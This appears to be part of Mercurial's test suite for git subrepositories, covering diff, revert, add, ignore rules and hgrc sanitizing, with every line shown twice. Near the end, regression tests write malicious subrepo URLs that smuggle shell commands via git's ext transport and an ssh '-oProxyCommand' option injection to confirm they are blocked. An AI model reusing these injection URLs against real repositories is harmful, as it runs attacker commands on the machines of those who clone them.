676 $ test -f s/.hg/hgrc
676 $ test -f s/.hg/hgrc
677 [1]
677 [1]
678 $ test -f s/sub/.hg/hgrc
678 $ test -f s/sub/.hg/hgrc
679 [1]
679 [1]
680 $ cd ..
680 $ cd ..
681 $ hg -R tc pull -q
681 $ hg -R tc pull -q
682 $ hg -R tc update -q -C ed23f7fe024e 2>&1 | sort
682 $ hg -R tc update -q -C ed23f7fe024e 2>&1 | sort
683 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/.hg' (glob)
683 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/.hg' (glob)
684 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/sub/.hg' (glob)
684 warning: removing potentially hostile 'hgrc' in '$TESTTMP/tc/s/sub/.hg' (glob)
685 $ cd tc
685 $ cd tc
686 $ hg parents -q
686 $ hg parents -q
687 9:ed23f7fe024e
687 9:ed23f7fe024e
688 $ grep ' s$' .hgsubstate
688 $ grep ' s$' .hgsubstate
689 f262643c1077219fbd3858d54e78ef050ef84fbf s
689 f262643c1077219fbd3858d54e78ef050ef84fbf s
690 $ test -f s/.hg/hgrc
690 $ test -f s/.hg/hgrc
691 [1]
691 [1]
692 $ test -f s/sub/.hg/hgrc
692 $ test -f s/sub/.hg/hgrc
693 [1]
693 [1]
694
694
695 Test that sanitizing is omitted in meta data area:
695 Test that sanitizing is omitted in meta data area:
696
696
697 $ mkdir s/.git/.hg
697 $ mkdir s/.git/.hg
698 $ echo '.hg/hgrc in git metadata area' > s/.git/.hg/hgrc
698 $ echo '.hg/hgrc in git metadata area' > s/.git/.hg/hgrc
699 $ hg update -q -C af6d2edbb0d3
699 $ hg update -q -C af6d2edbb0d3
700 checking out detached HEAD in subrepo s
700 checking out detached HEAD in subrepo s
701 check out a git branch if you intend to make changes
701 check out a git branch if you intend to make changes
702
702
703 check differences made by most recent change
703 check differences made by most recent change
704 $ cd s
704 $ cd s
705 $ cat > foobar << EOF
705 $ cat > foobar << EOF
706 > woopwoop
706 > woopwoop
707 >
707 >
708 > foo
708 > foo
709 > bar
709 > bar
710 > EOF
710 > EOF
711 $ git add foobar
711 $ git add foobar
712 $ cd ..
712 $ cd ..
713
713
714 $ hg diff --subrepos
714 $ hg diff --subrepos
715 diff --git a/s/foobar b/s/foobar
715 diff --git a/s/foobar b/s/foobar
716 new file mode 100644
716 new file mode 100644
717 index 0000000..8a5a5e2
717 index 0000000..8a5a5e2
718 --- /dev/null
718 --- /dev/null
719 +++ b/s/foobar
719 +++ b/s/foobar
720 @@ -0,0 +1,4 @@
720 @@ -0,0 +1,4 @@
721 +woopwoop
721 +woopwoop
722 +
722 +
723 +foo
723 +foo
724 +bar
724 +bar
725
725
726 $ hg commit --subrepos -m "Added foobar"
726 $ hg commit --subrepos -m "Added foobar"
727 committing subrepository s
727 committing subrepository s
728 created new head
728 created new head
729
729
730 $ hg diff -c . --subrepos --nodates
730 $ hg diff -c . --subrepos --nodates
731 diff -r af6d2edbb0d3 -r 255ee8cf690e .hgsubstate
731 diff -r af6d2edbb0d3 -r 255ee8cf690e .hgsubstate
732 --- a/.hgsubstate
732 --- a/.hgsubstate
733 +++ b/.hgsubstate
733 +++ b/.hgsubstate
734 @@ -1,1 +1,1 @@
734 @@ -1,1 +1,1 @@
735 -32a343883b74769118bb1d3b4b1fbf9156f4dddc s
735 -32a343883b74769118bb1d3b4b1fbf9156f4dddc s
736 +fd4dbf828a5b2fcd36b2bcf21ea773820970d129 s
736 +fd4dbf828a5b2fcd36b2bcf21ea773820970d129 s
737 diff --git a/s/foobar b/s/foobar
737 diff --git a/s/foobar b/s/foobar
738 new file mode 100644
738 new file mode 100644
739 index 0000000..8a5a5e2
739 index 0000000..8a5a5e2
740 --- /dev/null
740 --- /dev/null
741 +++ b/s/foobar
741 +++ b/s/foobar
742 @@ -0,0 +1,4 @@
742 @@ -0,0 +1,4 @@
743 +woopwoop
743 +woopwoop
744 +
744 +
745 +foo
745 +foo
746 +bar
746 +bar
747
747
748 check output when only diffing the subrepository
748 check output when only diffing the subrepository
749 $ hg diff -c . --subrepos s
749 $ hg diff -c . --subrepos s
750 diff --git a/s/foobar b/s/foobar
750 diff --git a/s/foobar b/s/foobar
751 new file mode 100644
751 new file mode 100644
752 index 0000000..8a5a5e2
752 index 0000000..8a5a5e2
753 --- /dev/null
753 --- /dev/null
754 +++ b/s/foobar
754 +++ b/s/foobar
755 @@ -0,0 +1,4 @@
755 @@ -0,0 +1,4 @@
756 +woopwoop
756 +woopwoop
757 +
757 +
758 +foo
758 +foo
759 +bar
759 +bar
760
760
761 check output when diffing something else
761 check output when diffing something else
762 $ hg diff -c . --subrepos .hgsubstate --nodates
762 $ hg diff -c . --subrepos .hgsubstate --nodates
763 diff -r af6d2edbb0d3 -r 255ee8cf690e .hgsubstate
763 diff -r af6d2edbb0d3 -r 255ee8cf690e .hgsubstate
764 --- a/.hgsubstate
764 --- a/.hgsubstate
765 +++ b/.hgsubstate
765 +++ b/.hgsubstate
766 @@ -1,1 +1,1 @@
766 @@ -1,1 +1,1 @@
767 -32a343883b74769118bb1d3b4b1fbf9156f4dddc s
767 -32a343883b74769118bb1d3b4b1fbf9156f4dddc s
768 +fd4dbf828a5b2fcd36b2bcf21ea773820970d129 s
768 +fd4dbf828a5b2fcd36b2bcf21ea773820970d129 s
769
769
770 add new changes, including whitespace
770 add new changes, including whitespace
771 $ cd s
771 $ cd s
772 $ cat > foobar << EOF
772 $ cat > foobar << EOF
773 > woop woop
773 > woop woop
774 >
774 >
775 > foo
775 > foo
776 > bar
776 > bar
777 > EOF
777 > EOF
778 $ echo foo > barfoo
778 $ echo foo > barfoo
779 $ git add barfoo
779 $ git add barfoo
780 $ cd ..
780 $ cd ..
781
781
782 $ hg diff --subrepos --ignore-all-space
782 $ hg diff --subrepos --ignore-all-space
783 diff --git a/s/barfoo b/s/barfoo
783 diff --git a/s/barfoo b/s/barfoo
784 new file mode 100644
784 new file mode 100644
785 index 0000000..257cc56
785 index 0000000..257cc56
786 --- /dev/null
786 --- /dev/null
787 +++ b/s/barfoo
787 +++ b/s/barfoo
788 @@ -0,0 +1* @@ (glob)
788 @@ -0,0 +1* @@ (glob)
789 +foo
789 +foo
790 $ hg diff --subrepos s/foobar
790 $ hg diff --subrepos s/foobar
791 diff --git a/s/foobar b/s/foobar
791 diff --git a/s/foobar b/s/foobar
792 index 8a5a5e2..bd5812a 100644
792 index 8a5a5e2..bd5812a 100644
793 --- a/s/foobar
793 --- a/s/foobar
794 +++ b/s/foobar
794 +++ b/s/foobar
795 @@ -1,4 +1,4 @@
795 @@ -1,4 +1,4 @@
796 -woopwoop
796 -woopwoop
797 +woop woop
797 +woop woop
798
798
799 foo
799 foo
800 bar
800 bar
801
801
802 execute a diffstat
802 execute a diffstat
803 the output contains a regex, because git 1.7.10 and 1.7.11
803 the output contains a regex, because git 1.7.10 and 1.7.11
804 change the amount of whitespace
804 change the amount of whitespace
805 $ hg diff --subrepos --stat
805 $ hg diff --subrepos --stat
806 \s*barfoo |\s*1 + (re)
806 \s*barfoo |\s*1 + (re)
807 \s*foobar |\s*2 +- (re)
807 \s*foobar |\s*2 +- (re)
808 2 files changed, 2 insertions\(\+\), 1 deletions?\(-\) (re)
808 2 files changed, 2 insertions\(\+\), 1 deletions?\(-\) (re)
809
809
810 adding an include should ignore the other elements
810 adding an include should ignore the other elements
811 $ hg diff --subrepos -I s/foobar
811 $ hg diff --subrepos -I s/foobar
812 diff --git a/s/foobar b/s/foobar
812 diff --git a/s/foobar b/s/foobar
813 index 8a5a5e2..bd5812a 100644
813 index 8a5a5e2..bd5812a 100644
814 --- a/s/foobar
814 --- a/s/foobar
815 +++ b/s/foobar
815 +++ b/s/foobar
816 @@ -1,4 +1,4 @@
816 @@ -1,4 +1,4 @@
817 -woopwoop
817 -woopwoop
818 +woop woop
818 +woop woop
819
819
820 foo
820 foo
821 bar
821 bar
822
822
823 adding an exclude should ignore this element
823 adding an exclude should ignore this element
824 $ hg diff --subrepos -X s/foobar
824 $ hg diff --subrepos -X s/foobar
825 diff --git a/s/barfoo b/s/barfoo
825 diff --git a/s/barfoo b/s/barfoo
826 new file mode 100644
826 new file mode 100644
827 index 0000000..257cc56
827 index 0000000..257cc56
828 --- /dev/null
828 --- /dev/null
829 +++ b/s/barfoo
829 +++ b/s/barfoo
830 @@ -0,0 +1* @@ (glob)
830 @@ -0,0 +1* @@ (glob)
831 +foo
831 +foo
832
832
833 moving a file should show a removal and an add
833 moving a file should show a removal and an add
834 $ hg revert --all
834 $ hg revert --all
835 reverting subrepo ../gitroot
835 reverting subrepo ../gitroot
836 $ cd s
836 $ cd s
837 $ git mv foobar woop
837 $ git mv foobar woop
838 $ cd ..
838 $ cd ..
839 $ hg diff --subrepos
839 $ hg diff --subrepos
840 diff --git a/s/foobar b/s/foobar
840 diff --git a/s/foobar b/s/foobar
841 deleted file mode 100644
841 deleted file mode 100644
842 index 8a5a5e2..0000000
842 index 8a5a5e2..0000000
843 --- a/s/foobar
843 --- a/s/foobar
844 +++ /dev/null
844 +++ /dev/null
845 @@ -1,4 +0,0 @@
845 @@ -1,4 +0,0 @@
846 -woopwoop
846 -woopwoop
847 -
847 -
848 -foo
848 -foo
849 -bar
849 -bar
850 diff --git a/s/woop b/s/woop
850 diff --git a/s/woop b/s/woop
851 new file mode 100644
851 new file mode 100644
852 index 0000000..8a5a5e2
852 index 0000000..8a5a5e2
853 --- /dev/null
853 --- /dev/null
854 +++ b/s/woop
854 +++ b/s/woop
855 @@ -0,0 +1,4 @@
855 @@ -0,0 +1,4 @@
856 +woopwoop
856 +woopwoop
857 +
857 +
858 +foo
858 +foo
859 +bar
859 +bar
860 $ rm s/woop
860 $ rm s/woop
861
861
862 revert the subrepository
862 revert the subrepository
863 $ hg revert --all
863 $ hg revert --all
864 reverting subrepo ../gitroot
864 reverting subrepo ../gitroot
865
865
866 $ hg status --subrepos
866 $ hg status --subrepos
867 ? s/barfoo
867 ? s/barfoo
868 ? s/foobar.orig
868 ? s/foobar.orig
869
869
870 $ mv s/foobar.orig s/foobar
870 $ mv s/foobar.orig s/foobar
871
871
872 $ hg revert --no-backup s
872 $ hg revert --no-backup s
873 reverting subrepo ../gitroot
873 reverting subrepo ../gitroot
874
874
875 $ hg status --subrepos
875 $ hg status --subrepos
876 ? s/barfoo
876 ? s/barfoo
877
877
878 revert moves orig files to the right place
878 revert moves orig files to the right place
879 $ echo 'bloop' > s/foobar
879 $ echo 'bloop' > s/foobar
880 $ hg revert --all --verbose --config 'ui.origbackuppath=.hg/origbackups'
880 $ hg revert --all --verbose --config 'ui.origbackuppath=.hg/origbackups'
881 reverting subrepo ../gitroot
881 reverting subrepo ../gitroot
882 creating directory: $TESTTMP/tc/.hg/origbackups (glob)
882 creating directory: $TESTTMP/tc/.hg/origbackups (glob)
883 saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar.orig (glob)
883 saving current version of foobar as $TESTTMP/tc/.hg/origbackups/foobar.orig (glob)
884 $ ls .hg/origbackups
884 $ ls .hg/origbackups
885 foobar.orig
885 foobar.orig
886 $ rm -rf .hg/origbackups
886 $ rm -rf .hg/origbackups
887
887
888 show file at specific revision
888 show file at specific revision
889 $ cat > s/foobar << EOF
889 $ cat > s/foobar << EOF
890 > woop woop
890 > woop woop
891 > fooo bar
891 > fooo bar
892 > EOF
892 > EOF
893 $ hg commit --subrepos -m "updated foobar"
893 $ hg commit --subrepos -m "updated foobar"
894 committing subrepository s
894 committing subrepository s
895 $ cat > s/foobar << EOF
895 $ cat > s/foobar << EOF
896 > current foobar
896 > current foobar
897 > (should not be visible using hg cat)
897 > (should not be visible using hg cat)
898 > EOF
898 > EOF
899
899
900 $ hg cat -r . s/foobar
900 $ hg cat -r . s/foobar
901 woop woop
901 woop woop
902 fooo bar (no-eol)
902 fooo bar (no-eol)
903 $ hg cat -r "parents(.)" s/foobar > catparents
903 $ hg cat -r "parents(.)" s/foobar > catparents
904
904
905 $ mkdir -p tmp/s
905 $ mkdir -p tmp/s
906
906
907 $ hg cat -r "parents(.)" --output tmp/%% s/foobar
907 $ hg cat -r "parents(.)" --output tmp/%% s/foobar
908 $ diff tmp/% catparents
908 $ diff tmp/% catparents
909
909
910 $ hg cat -r "parents(.)" --output tmp/%s s/foobar
910 $ hg cat -r "parents(.)" --output tmp/%s s/foobar
911 $ diff tmp/foobar catparents
911 $ diff tmp/foobar catparents
912
912
913 $ hg cat -r "parents(.)" --output tmp/%d/otherfoobar s/foobar
913 $ hg cat -r "parents(.)" --output tmp/%d/otherfoobar s/foobar
914 $ diff tmp/s/otherfoobar catparents
914 $ diff tmp/s/otherfoobar catparents
915
915
916 $ hg cat -r "parents(.)" --output tmp/%p s/foobar
916 $ hg cat -r "parents(.)" --output tmp/%p s/foobar
917 $ diff tmp/s/foobar catparents
917 $ diff tmp/s/foobar catparents
918
918
919 $ hg cat -r "parents(.)" --output tmp/%H s/foobar
919 $ hg cat -r "parents(.)" --output tmp/%H s/foobar
920 $ diff tmp/255ee8cf690ec86e99b1e80147ea93ece117cd9d catparents
920 $ diff tmp/255ee8cf690ec86e99b1e80147ea93ece117cd9d catparents
921
921
922 $ hg cat -r "parents(.)" --output tmp/%R s/foobar
922 $ hg cat -r "parents(.)" --output tmp/%R s/foobar
923 $ diff tmp/10 catparents
923 $ diff tmp/10 catparents
924
924
925 $ hg cat -r "parents(.)" --output tmp/%h s/foobar
925 $ hg cat -r "parents(.)" --output tmp/%h s/foobar
926 $ diff tmp/255ee8cf690e catparents
926 $ diff tmp/255ee8cf690e catparents
927
927
928 $ rm tmp/10
928 $ rm tmp/10
929 $ hg cat -r "parents(.)" --output tmp/%r s/foobar
929 $ hg cat -r "parents(.)" --output tmp/%r s/foobar
930 $ diff tmp/10 catparents
930 $ diff tmp/10 catparents
931
931
932 $ mkdir tmp/tc
932 $ mkdir tmp/tc
933 $ hg cat -r "parents(.)" --output tmp/%b/foobar s/foobar
933 $ hg cat -r "parents(.)" --output tmp/%b/foobar s/foobar
934 $ diff tmp/tc/foobar catparents
934 $ diff tmp/tc/foobar catparents
935
935
936 cleanup
936 cleanup
937 $ rm -r tmp
937 $ rm -r tmp
938 $ rm catparents
938 $ rm catparents
939
939
940 add git files, using either files or patterns
940 add git files, using either files or patterns
941 $ echo "hsss! hsssssssh!" > s/snake.python
941 $ echo "hsss! hsssssssh!" > s/snake.python
942 $ echo "ccc" > s/c.c
942 $ echo "ccc" > s/c.c
943 $ echo "cpp" > s/cpp.cpp
943 $ echo "cpp" > s/cpp.cpp
944
944
945 $ hg add s/snake.python s/c.c s/cpp.cpp
945 $ hg add s/snake.python s/c.c s/cpp.cpp
946 $ hg st --subrepos s
946 $ hg st --subrepos s
947 M s/foobar
947 M s/foobar
948 A s/c.c
948 A s/c.c
949 A s/cpp.cpp
949 A s/cpp.cpp
950 A s/snake.python
950 A s/snake.python
951 ? s/barfoo
951 ? s/barfoo
952 $ hg revert s
952 $ hg revert s
953 reverting subrepo ../gitroot
953 reverting subrepo ../gitroot
954
954
955 $ hg add --subrepos "glob:**.python"
955 $ hg add --subrepos "glob:**.python"
956 adding s/snake.python (glob)
956 adding s/snake.python (glob)
957 $ hg st --subrepos s
957 $ hg st --subrepos s
958 A s/snake.python
958 A s/snake.python
959 ? s/barfoo
959 ? s/barfoo
960 ? s/c.c
960 ? s/c.c
961 ? s/cpp.cpp
961 ? s/cpp.cpp
962 ? s/foobar.orig
962 ? s/foobar.orig
963 $ hg revert s
963 $ hg revert s
964 reverting subrepo ../gitroot
964 reverting subrepo ../gitroot
965
965
966 $ hg add --subrepos s
966 $ hg add --subrepos s
967 adding s/barfoo (glob)
967 adding s/barfoo (glob)
968 adding s/c.c (glob)
968 adding s/c.c (glob)
969 adding s/cpp.cpp (glob)
969 adding s/cpp.cpp (glob)
970 adding s/foobar.orig (glob)
970 adding s/foobar.orig (glob)
971 adding s/snake.python (glob)
971 adding s/snake.python (glob)
972 $ hg st --subrepos s
972 $ hg st --subrepos s
973 A s/barfoo
973 A s/barfoo
974 A s/c.c
974 A s/c.c
975 A s/cpp.cpp
975 A s/cpp.cpp
976 A s/foobar.orig
976 A s/foobar.orig
977 A s/snake.python
977 A s/snake.python
978 $ hg revert s
978 $ hg revert s
979 reverting subrepo ../gitroot
979 reverting subrepo ../gitroot
980 make sure everything is reverted correctly
980 make sure everything is reverted correctly
981 $ hg st --subrepos s
981 $ hg st --subrepos s
982 ? s/barfoo
982 ? s/barfoo
983 ? s/c.c
983 ? s/c.c
984 ? s/cpp.cpp
984 ? s/cpp.cpp
985 ? s/foobar.orig
985 ? s/foobar.orig
986 ? s/snake.python
986 ? s/snake.python
987
987
988 $ hg add --subrepos --exclude "path:s/c.c"
988 $ hg add --subrepos --exclude "path:s/c.c"
989 adding s/barfoo (glob)
989 adding s/barfoo (glob)
990 adding s/cpp.cpp (glob)
990 adding s/cpp.cpp (glob)
991 adding s/foobar.orig (glob)
991 adding s/foobar.orig (glob)
992 adding s/snake.python (glob)
992 adding s/snake.python (glob)
993 $ hg st --subrepos s
993 $ hg st --subrepos s
994 A s/barfoo
994 A s/barfoo
995 A s/cpp.cpp
995 A s/cpp.cpp
996 A s/foobar.orig
996 A s/foobar.orig
997 A s/snake.python
997 A s/snake.python
998 ? s/c.c
998 ? s/c.c
999 $ hg revert --all -q
999 $ hg revert --all -q
1000
1000
1001 .hgignore should not have influence in subrepos
1001 .hgignore should not have influence in subrepos
1002 $ cat > .hgignore << EOF
1002 $ cat > .hgignore << EOF
1003 > syntax: glob
1003 > syntax: glob
1004 > *.python
1004 > *.python
1005 > EOF
1005 > EOF
1006 $ hg add .hgignore
1006 $ hg add .hgignore
1007 $ hg add --subrepos "glob:**.python" s/barfoo
1007 $ hg add --subrepos "glob:**.python" s/barfoo
1008 adding s/snake.python (glob)
1008 adding s/snake.python (glob)
1009 $ hg st --subrepos s
1009 $ hg st --subrepos s
1010 A s/barfoo
1010 A s/barfoo
1011 A s/snake.python
1011 A s/snake.python
1012 ? s/c.c
1012 ? s/c.c
1013 ? s/cpp.cpp
1013 ? s/cpp.cpp
1014 ? s/foobar.orig
1014 ? s/foobar.orig
1015 $ hg revert --all -q
1015 $ hg revert --all -q
1016
1016
1017 .gitignore should have influence,
1017 .gitignore should have influence,
1018 except for explicitly added files (no patterns)
1018 except for explicitly added files (no patterns)
1019 $ cat > s/.gitignore << EOF
1019 $ cat > s/.gitignore << EOF
1020 > *.python
1020 > *.python
1021 > EOF
1021 > EOF
1022 $ hg add s/.gitignore
1022 $ hg add s/.gitignore
1023 $ hg st --subrepos s
1023 $ hg st --subrepos s
1024 A s/.gitignore
1024 A s/.gitignore
1025 ? s/barfoo
1025 ? s/barfoo
1026 ? s/c.c
1026 ? s/c.c
1027 ? s/cpp.cpp
1027 ? s/cpp.cpp
1028 ? s/foobar.orig
1028 ? s/foobar.orig
1029 $ hg st --subrepos s --all
1029 $ hg st --subrepos s --all
1030 A s/.gitignore
1030 A s/.gitignore
1031 ? s/barfoo
1031 ? s/barfoo
1032 ? s/c.c
1032 ? s/c.c
1033 ? s/cpp.cpp
1033 ? s/cpp.cpp
1034 ? s/foobar.orig
1034 ? s/foobar.orig
1035 I s/snake.python
1035 I s/snake.python
1036 C s/f
1036 C s/f
1037 C s/foobar
1037 C s/foobar
1038 C s/g
1038 C s/g
1039 $ hg add --subrepos "glob:**.python"
1039 $ hg add --subrepos "glob:**.python"
1040 $ hg st --subrepos s
1040 $ hg st --subrepos s
1041 A s/.gitignore
1041 A s/.gitignore
1042 ? s/barfoo
1042 ? s/barfoo
1043 ? s/c.c
1043 ? s/c.c
1044 ? s/cpp.cpp
1044 ? s/cpp.cpp
1045 ? s/foobar.orig
1045 ? s/foobar.orig
1046 $ hg add --subrepos s/snake.python
1046 $ hg add --subrepos s/snake.python
1047 $ hg st --subrepos s
1047 $ hg st --subrepos s
1048 A s/.gitignore
1048 A s/.gitignore
1049 A s/snake.python
1049 A s/snake.python
1050 ? s/barfoo
1050 ? s/barfoo
1051 ? s/c.c
1051 ? s/c.c
1052 ? s/cpp.cpp
1052 ? s/cpp.cpp
1053 ? s/foobar.orig
1053 ? s/foobar.orig
1054
1054
1055 correctly do a dry run
1055 correctly do a dry run
1056 $ hg add --subrepos s --dry-run
1056 $ hg add --subrepos s --dry-run
1057 adding s/barfoo (glob)
1057 adding s/barfoo (glob)
1058 adding s/c.c (glob)
1058 adding s/c.c (glob)
1059 adding s/cpp.cpp (glob)
1059 adding s/cpp.cpp (glob)
1060 adding s/foobar.orig (glob)
1060 adding s/foobar.orig (glob)
1061 $ hg st --subrepos s
1061 $ hg st --subrepos s
1062 A s/.gitignore
1062 A s/.gitignore
1063 A s/snake.python
1063 A s/snake.python
1064 ? s/barfoo
1064 ? s/barfoo
1065 ? s/c.c
1065 ? s/c.c
1066 ? s/cpp.cpp
1066 ? s/cpp.cpp
1067 ? s/foobar.orig
1067 ? s/foobar.orig
1068
1068
1069 error given when adding an already tracked file
1069 error given when adding an already tracked file
1070 $ hg add s/.gitignore
1070 $ hg add s/.gitignore
1071 s/.gitignore already tracked!
1071 s/.gitignore already tracked!
1072 [1]
1072 [1]
1073 $ hg add s/g
1073 $ hg add s/g
1074 s/g already tracked!
1074 s/g already tracked!
1075 [1]
1075 [1]
1076
1076
1077 removed files can be re-added
1077 removed files can be re-added
1078 removing files using 'rm' or 'git rm' has the same effect,
1078 removing files using 'rm' or 'git rm' has the same effect,
1079 since we ignore the staging area
1079 since we ignore the staging area
1080 $ hg ci --subrepos -m 'snake'
1080 $ hg ci --subrepos -m 'snake'
1081 committing subrepository s
1081 committing subrepository s
1082 $ cd s
1082 $ cd s
1083 $ rm snake.python
1083 $ rm snake.python
1084 (remove leftover .hg so Mercurial doesn't look for a root here)
1084 (remove leftover .hg so Mercurial doesn't look for a root here)
1085 $ rm -rf .hg
1085 $ rm -rf .hg
1086 $ hg status --subrepos --all .
1086 $ hg status --subrepos --all .
1087 R snake.python
1087 R snake.python
1088 ? barfoo
1088 ? barfoo
1089 ? c.c
1089 ? c.c
1090 ? cpp.cpp
1090 ? cpp.cpp
1091 ? foobar.orig
1091 ? foobar.orig
1092 C .gitignore
1092 C .gitignore
1093 C f
1093 C f
1094 C foobar
1094 C foobar
1095 C g
1095 C g
1096 $ git rm snake.python
1096 $ git rm snake.python
1097 rm 'snake.python'
1097 rm 'snake.python'
1098 $ hg status --subrepos --all .
1098 $ hg status --subrepos --all .
1099 R snake.python
1099 R snake.python
1100 ? barfoo
1100 ? barfoo
1101 ? c.c
1101 ? c.c
1102 ? cpp.cpp
1102 ? cpp.cpp
1103 ? foobar.orig
1103 ? foobar.orig
1104 C .gitignore
1104 C .gitignore
1105 C f
1105 C f
1106 C foobar
1106 C foobar
1107 C g
1107 C g
1108 $ touch snake.python
1108 $ touch snake.python
1109 $ cd ..
1109 $ cd ..
1110 $ hg add s/snake.python
1110 $ hg add s/snake.python
1111 $ hg status -S
1111 $ hg status -S
1112 M s/snake.python
1112 M s/snake.python
1113 ? .hgignore
1113 ? .hgignore
1114 ? s/barfoo
1114 ? s/barfoo
1115 ? s/c.c
1115 ? s/c.c
1116 ? s/cpp.cpp
1116 ? s/cpp.cpp
1117 ? s/foobar.orig
1117 ? s/foobar.orig
1118 $ hg revert --all -q
1118 $ hg revert --all -q
1119
1119
1120 make sure we show changed files, rather than changed subtrees
1120 make sure we show changed files, rather than changed subtrees
1121 $ mkdir s/foo
1121 $ mkdir s/foo
1122 $ touch s/foo/bwuh
1122 $ touch s/foo/bwuh
1123 $ hg add s/foo/bwuh
1123 $ hg add s/foo/bwuh
1124 $ hg commit -S -m "add bwuh"
1124 $ hg commit -S -m "add bwuh"
1125 committing subrepository s
1125 committing subrepository s
1126 $ hg status -S --change .
1126 $ hg status -S --change .
1127 M .hgsubstate
1127 M .hgsubstate
1128 A s/foo/bwuh
1128 A s/foo/bwuh
1129 ? s/barfoo
1129 ? s/barfoo
1130 ? s/c.c
1130 ? s/c.c
1131 ? s/cpp.cpp
1131 ? s/cpp.cpp
1132 ? s/foobar.orig
1132 ? s/foobar.orig
1133 ? s/snake.python.orig
1133 ? s/snake.python.orig
1134
1134
1135 test for Git CVE-2016-3068
1135 test for Git CVE-2016-3068
1136 $ hg init malicious-subrepository
1136 $ hg init malicious-subrepository
1137 $ cd malicious-subrepository
1137 $ cd malicious-subrepository
1138 $ echo "s = [git]ext::sh -c echo% pwned:% \$PWNED_MSG% >pwned.txt" > .hgsub
1138 $ echo "s = [git]ext::sh -c echo% pwned:% \$PWNED_MSG% >pwned.txt" > .hgsub
1139 $ git init s
1139 $ git init s
1140 Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/
1140 Initialized empty Git repository in $TESTTMP/tc/malicious-subrepository/s/.git/
1141 $ cd s
1141 $ cd s
1142 $ git commit --allow-empty -m 'empty'
1142 $ git commit --allow-empty -m 'empty'
1143 [master (root-commit) 153f934] empty
1143 [master (root-commit) 153f934] empty
1144 $ cd ..
1144 $ cd ..
1145 $ hg add .hgsub
1145 $ hg add .hgsub
1146 $ hg commit -m "add subrepo"
1146 $ hg commit -m "add subrepo"
1147 $ cd ..
1147 $ cd ..
1148 $ rm -f pwned.txt
1148 $ rm -f pwned.txt
1149 $ unset GIT_ALLOW_PROTOCOL
1149 $ unset GIT_ALLOW_PROTOCOL
1150 $ PWNED_MSG="your git is too old or mercurial has regressed" hg clone \
1150 $ PWNED_MSG="your git is too old or mercurial has regressed" hg clone \
1151 > malicious-subrepository malicious-subrepository-protected
1151 > malicious-subrepository malicious-subrepository-protected
1152 Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'... (glob)
1152 Cloning into '$TESTTMP/tc/malicious-subrepository-protected/s'... (glob)
1153 fatal: transport 'ext' not allowed
1153 fatal: transport 'ext' not allowed
1154 updating to branch default
1154 updating to branch default
1155 cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt
1155 cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt
1156 abort: git clone error 128 in s (in subrepo s)
1156 abort: git clone error 128 in s (in subrepo s)
1157 [255]
1157 [255]
1158 $ f -Dq pwned.txt
1158 $ f -Dq pwned.txt
1159 pwned.txt: file not found
1159 pwned.txt: file not found
1160
1160
1161 whitelisting of ext should be respected (that's the git submodule behaviour)
1161 whitelisting of ext should be respected (that's the git submodule behaviour)
1162 $ rm -f pwned.txt
1162 $ rm -f pwned.txt
1163 $ env GIT_ALLOW_PROTOCOL=ext PWNED_MSG="you asked for it" hg clone \
1163 $ env GIT_ALLOW_PROTOCOL=ext PWNED_MSG="you asked for it" hg clone \
1164 > malicious-subrepository malicious-subrepository-clone-allowed
1164 > malicious-subrepository malicious-subrepository-clone-allowed
1165 Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'... (glob)
1165 Cloning into '$TESTTMP/tc/malicious-subrepository-clone-allowed/s'... (glob)
1166 fatal: Could not read from remote repository.
1166 fatal: Could not read from remote repository.
1167
1167
1168 Please make sure you have the correct access rights
1168 Please make sure you have the correct access rights
1169 and the repository exists.
1169 and the repository exists.
1170 updating to branch default
1170 updating to branch default
1171 cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt
1171 cloning subrepo s from ext::sh -c echo% pwned:% $PWNED_MSG% >pwned.txt
1172 abort: git clone error 128 in s (in subrepo s)
1172 abort: git clone error 128 in s (in subrepo s)
1173 [255]
1173 [255]
1174 $ f -Dq pwned.txt
1174 $ f -Dq pwned.txt
1175 pwned: you asked for it
1175 pwned: you asked for it
1176
1176
1177 test for ssh exploit with git subrepos 2017-07-25
1177 test for ssh exploit with git subrepos 2017-07-25
1178
1178
1179 $ hg init malicious-proxycommand
1179 $ hg init malicious-proxycommand
1180 $ cd malicious-proxycommand
1180 $ cd malicious-proxycommand
1181 $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
1181 $ echo 's = [git]ssh://-oProxyCommand=rm${IFS}non-existent/path' > .hgsub
1182 $ git init s
1182 $ git init s
1183 Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
1183 Initialized empty Git repository in $TESTTMP/tc/malicious-proxycommand/s/.git/
1184 $ cd s
1184 $ cd s
1185 $ git commit --allow-empty -m 'empty'
1185 $ git commit --allow-empty -m 'empty'
1186 [master (root-commit) 153f934] empty
1186 [master (root-commit) 153f934] empty
1187 $ cd ..
1187 $ cd ..
1188 $ hg add .hgsub
1188 $ hg add .hgsub
1189 $ hg ci -m 'add subrepo'
1189 $ hg ci -m 'add subrepo'
1190 $ cd ..
1190 $ cd ..
1191 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1191 $ hg clone malicious-proxycommand malicious-proxycommand-clone
1192 updating to branch default
1192 updating to branch default
1193 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
1193 abort: potentially unsafe url: 'ssh://-oProxyCommand=rm${IFS}non-existent/path' (in subrepo s)
1194 [255]
1194 [255]
1195
1195
1196 also check that a percent encoded '-' (%2D) doesn't work
1196 also check that a percent encoded '-' (%2D) doesn't work
1197
1197
1198 $ cd malicious-proxycommand
1198 $ cd malicious-proxycommand
1199 $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
1199 $ echo 's = [git]ssh://%2DoProxyCommand=rm${IFS}non-existent/path' > .hgsub
1200 $ hg ci -m 'change url to percent encoded'
1200 $ hg ci -m 'change url to percent encoded'
1201 $ cd ..
1201 $ cd ..
1202 $ rm -r malicious-proxycommand-clone
1202 $ rm -r malicious-proxycommand-clone
